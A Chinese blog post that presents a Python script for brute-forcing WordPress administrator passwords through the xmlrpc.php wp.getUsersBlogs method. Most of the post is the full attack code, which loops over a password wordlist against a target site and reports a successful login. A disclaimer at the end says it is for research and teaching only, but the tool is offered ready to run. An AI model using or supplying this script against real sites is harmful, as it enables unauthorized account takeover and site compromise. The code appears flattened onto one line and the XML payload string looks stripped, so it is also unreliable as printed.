之前,本站发布过wordpress破解的相关脚本,使用的是php写的,最近练习使用python就又写了一个,使用的方法及原理和上次的不同,这次利用的wordpress xmlrpc.php实现破解的,比上一次成功率提升了不少,依照惯例,还是先发布单线程版,再发布多线程版。
原理介绍:
使用python向wordpress的xmlrpc.php post以下数据,从返回的响应体中查找相应的字符串,从而实现破解。。。
wp.getUsersBlogs admin www.waitalone.cn
以前php的版本是直接向wp-login.php提交相应的参数实现破解的。详情请参考下面的url
http://www.waitalone.cn/wordpress-login-crack.html
脚本代码:
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2015/4/29 # Created by 独自等待 # 博客 http://www.waitalone.cn/ import os, sys, time import urllib2 def usage(): os.system(['clear', 'cls'][os.name == 'nt']) print '+' + '-' * 50 + '+' print '\t Python WordPress暴力破解工具单线程版' print '\t Blog:http://www.waitalone.cn/' print '\t Code BY: 独自等待' print '\t Time:2015-04-29' print '+' + '-' * 50 + '+' if len(sys.argv) != 4: print '用法: ' + os.path.basename(sys.argv[0]) + ' 用户名 密码字典 待破解的网站URL地址 ' print '实例: ' + os.path.basename(sys.argv[0]) + ' admin pass.txt http://www.waitalone.cn/ ' sys.exit() def crack(password): """ WordPress xmlrpc暴力破解 """ crack_url = url + 'xmlrpc.php' post = '''''' header = { 'UserAgent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)', 'Referer': crack_url } try: req = urllib2.Request(crack_url, data=post, headers=header) res = urllib2.urlopen(req, timeout=10).read().decode('utf-8').encode('GBK') except Exception, msg: print '爷,发生错误了!', msg else: if ' wp.getUsersBlogs ''' + username + ''' ''' + password + ''' 405 ' in res: print '[×] 报告爷,此站点已禁用XML-RPC服务!' sys.exit('\n[!] 卧槽,这么快就执行完了?用时:%s 秒' % (time.time() - start)) elif 'faultCode' in res: print '[×] 报告爷,正在尝试密码:', password elif 'isAdmin' in res: print '\n[√] 报告爷,密码破解成功:', password sys.exit('\n[!] 卧槽,这么快就执行完了?用时:%s 秒' % (time.time() - start)) if __name__ == '__main__': usage() username = sys.argv[1] url = sys.argv[3] if url[-1] != '/': url += '/' print '[√] 目标:', url + '\n' start = time.time() if os.path.isfile(sys.argv[2]): passlist = [x.strip() for x in open(sys.argv[2])] print '[√] 报告爷,共有密码[ %d ]行!\n' % len(passlist) try: for password in passlist: crack(password) except KeyboardInterrupt: print '\n[!] 爷,按您的吩咐,已成功退出!' else: print '[X] 爷,没找到密码字典,破解个毛呀?'
参考文章:http://www.waitalone.cn/wordpress-login-crack.html
from www.waitalone.cn.thanks for it.
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论